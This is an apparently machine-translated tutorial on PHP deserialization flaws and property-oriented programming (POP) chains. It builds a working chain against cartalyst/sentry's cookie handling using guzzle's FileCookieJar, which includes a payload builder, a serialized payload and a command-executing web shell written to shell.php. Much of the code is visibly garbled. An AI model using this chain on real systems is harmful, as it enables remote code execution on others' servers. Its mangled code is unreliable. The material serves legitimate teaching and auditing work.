ref:https://www.anquanke.com/post/id/84922
PHP Anti-Serialization Vulnerability Genesis and vulnerability mining techniques and cases
I. Serialization and deserialization
The purpose of serialization and deserialization is to make it easier to transfer objects between programs. Serialization is one way to convert an object to a string to store the transport. Deserialization is exactly the inverse of the serialization process, and deserialization converts the string to an object for use by the program. The corresponding functions for serialization and deserialization in PHP are serialize () and Unserialize () respectively. Deserialization itself is not dangerous, but if deserialized, the parameters passed into the deserialization function can be controlled by the user that would be a very dangerous thing. The danger of unsafe deserialization the only thing you can't imagine is that he can't do it, yes.
The principles of serialization and deserialization already have many articles, which are not discussed here. The PHP class has a lot of ' magic methods ', such as:
__construct(), __destruct()__call(), __callStatic()__get(), __set()__isset(), __unset()__sleep(), __wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。
问题就出现在重载过程中,执行了相关代码。
The methods we need to focus on in so many magic methods are the __destruct () and the __wakeup () methods. The former is called automatically when the object is destroyed, which is called when the class object is deserialized. So these two methods are The object is deserialized until the execution of the program is complete, the method must be called, if there are some dangerous actions in these two functions, and can be exploited by us, then the loophole appears.
Second, the use of anti-sequence loopholes in the thinking
Theory
In deserialization, the data we can control is the value of each property in the object, so there is a loophole in the PHP deserialization called "attribute-oriented programming", that is, POP (property oriented programming). Similar to the ROP techniques commonly used in binary vulnerabilities. In ROP we often need a gadgets of initialization to start our entire utilization process and then continue to invoke other gadgets. In the PHP deserialization exploit technology pop, the corresponding initialization gadgets is the __wakeup () or the __destruct () method, the point in which the exploit can be implemented in the best case is in these two functions, but often we need to start with this function, Follow up all functions that are called in this function until you find a point that can be exploited. Here are some valuable functions to follow in the process of following up on their function calls.
If these functions are to be found in the course of a follow-up procedure, a high-risk vulnerability can occur once the parameters of these functions are controlled.
Demo
The code that is used.
demopopchain.php
<?phpClassdemopopchain{Private $data = "barn";private $filename = '/tmp/foo '; public function __wakeup() { $this->save ($this->filename); Public function save($filename) {file_put_contents ($filename, $this->data); }?>
unserialize.php
<?php require(‘./DemoPopChain.php’); unserialize(file_get_contents(‘./serialized.txt));?>
This is a very simple code with an anti-sequence vulnerability that reads a string that needs to be deserialized from the Serialized.txt file. We can control this. The file also defines a Demopopchain class, and the class implements the __wakeup function, and in that function, it calls the Save function, whose argument is the FileName property value of the class object, and then calls the File_put_ in the Save function. The contents function, which has two parameters, is the FileName property value passed down from the Save function and the object's Data property value. And because the property values of the objects deserialized in the deserialization process are controllable, we get a vulnerability where arbitrary files are written to arbitrary content by using nested calls to functions and the use of object property values. This is called pop. is to focus on the invocation of the entire function of the parameters of the process, to find the available points, which is no different from the general web vulnerability, but the controllable value has been passed directly to the program's parameter transformation for the property value in the object.
Third, the real-world search for the reverse serialization of vulnerability and the method of constructing exploit
Pre-knowledge
PHP's Unserialize () function can only deserialize classes that have already been defined in the context of the current program. In traditional PHP you need to include the required class definition file by using a large list of include () or require (). Then came the autoloading technology, he can automatically import the need to use the class, no longer need the programmer to constantly copy and paste those include code. This technology also facilitates our exploits. Because we can use more classes when we find a deserialization point, the likelihood of exploiting exploits is even higher.
There is one more thing to mention, that is composer, which is a PHP package management tool, and he can automatically import so rely on the class defined in the library. This allows the unserialize () function to use all the classes in the dependent library, and the attack surface increases considerably.
The dependent libraries for the 1.Composer configuration are stored in the vendor directory
2. If you want to use composer's automatic class loading mechanism, simply add require __dir__ at the beginning of the PHP file. '/vendor/autoload.php ';
Vulnerability Discovery Tips
By default Composer will download packages from Packagist, so we can audit these packages to find the available pop chains.
Find the basic idea of the PHP chain.
1. Search for __wakeup () and __destruct () functions in each of the pandemic packages.
2. Trace the call process
3. Manually construct and verify the POP chain
4. Develop an application that uses the library and the automatic loading mechanism to test the exploit.
Thinking of constructing exploit
1. Find apps that may be vulnerable
2. Search for POP gadgets in the library he is using
3. Install these libraries in the virtual machine to serialize the found pop chain object in the deserialization test payload
4. Send the serialized payload to the vulnerable web app for testing.
Example
1. Look for applications that may be vulnerable: cartalyst/sentry
Vulnerability code:/src/cartalyst/sentry/cookies/nativecookie.php
... public function getCookie() { ... return unserialize($_COOKIE[$this->getKey()]); ... }}
This retrieves the value from the cookie and then serializes it directly.
2. Pop Gadgets:guzzlehttp/guzzle in the library used by the program
One of the best places to find gadgets is the Composer.json file, which describes the libraries that the program needs to use.
{ "require": { "cartalyst/sentry": "2.1.5", "illuminate/database": "4.0.*", "guzzlehttp/guzzle": "6.0.2", "swiftmailer/swiftmailer": "5.4.1" }}
A. Download these libraries from Git repo
B. Search for __wakeup () and __destruct () functions
/guzzle/src/cookie/filecookiejar.php
namespace GuzzleHttpCookie;class FileCookieJar extends CookieJar ... public function __destruct() { $this->save($this->filename); } ...
This uses the FileName property value of the class object as a parameter to pass in the save function. Let's take a look at the Save function implementation.
Filecookiejar->save ()
Publicfunctionsave ($filename) {$json = []; foreach ( $this as $cookie) { /** @var SetCookie $cookie */ if ($cookie->getexpires () && ! $cookie Getdiscard ()) { $json [] = $cookie->toarray (); } }< Span class= "Hljs-keyword" >if (false === file_put_contents ($filename, json_encode ($json))) { throw new runtimeexception (" unable to save file {$ filename} "); }
You can see that the parameters we passed in are the file names that are directly used as the files to write to the content. The file name is controlled. If we were able to control the contents of the file, we would be able to implement the Getshell. By code, you can find that the contents of the file are JSON-encoded in the previous loop. and the contents of the array are $cookie->toarray (), then we have to find the $ The cookie object is defined in which to determine what value he returns and whether it is available. And we need to pass that judgment before we can assign a value to the JSON array. So there are three points that we need to focus on.
$cookie->getExpires()!$cookie->getDiscard()$json[] = $cookie->toArray()
We don't know what the $cookie is, we can locate the class by searching for the function name. This is where the Setcookie class is located. Its code is as follows.
namespace Guzzlehttpcookie;ClassSetcookie ...PublicfunctionToArray () {return $THIS->DATA;&NBSP;&NBSP;&NBSP;&NBSP;} ... public function getexpires (return $ this->data[ ' Expires ']; } ... public function getdiscard (return $ this->data[ ' Discard ']; }
You can see that the three methods simply return the specific key value of the data array.
3. Build the environment for POC testing
First create such a Composer.json file in the virtual machine to install the library that provides the pop gadgets.
{ "require": { "guzzlehttp/guzzle": "6.0.2" }}
Then use this file to install the library
Then use this library to construct the deserialized payload
<?phpRequire__dir__.'/vendor/autoload.php ';UseGuzzlehttpcookiefilecookiejar;UseGuzzlehttpcookiesetcookie; $obj =New Filecookiejar ( '/var/www/html/shell.php '); $payload = " <?php echo system ($_post[' Pocnew setcookie ([ ' Name ' => ' foo ', ' Value ' ' Domain ' => $payload, = > ' bar ', ' Expires ' => time ()]); file_put_contents (/built_payload_poc ", serialize ($obj ));
Run this file to get payload
# php build_payload.php# Cat Built_payload_poco:31:"Guzzlehttpcookiefilecookiejar": 3:{s:41:"Guzzlehttpcookiefilecookiejarfilename"; s:23:"/var/www/html/shell.php"; s:36: "guzzlehttpcookiecookiejarcookies"; A:1:{i:1;o:27:" Guzzlehttpcookiesetcookiedata "; a:9:{s:4: "bar"; S:6: "Domain" S:36: "<?php echo system ($_post[' POC ');? > "S:4:"/"S:7: "Expires"; I:1450225029;s:6: "Secure"; b:0;s:7: "Guzzlehttpcookiecookiejarstrictmode"; N;}
Now that payload has been generated, we are creating a file to test the results of this payload.
<?php require __DIR__ . ‘/vendor/autoload.php‘; unserialize(file_get_contents("./built_payload_poc"));
The content of this file is very simple, which is to deserialize the payload we just generated. Look at the effect.
Successfully written to a shell.
4. Look for a program that uses this vulnerability library and has deserialization operations here is cartalyst/sentry, and then take the POC to hit it good.
Demonstrate:
First the Site directory does not have a shell.php file
Let's set the Cartalyst_sentry cookie value to a URL-encoded deserialization payload and send it to the app.
Now Shell.php has appeared.
This article is translated from insomniasec, the original link. Please specify the source if reproduced.
ref:php Anti-Serialization Vulnerability Genesis and vulnerability mining techniques and cases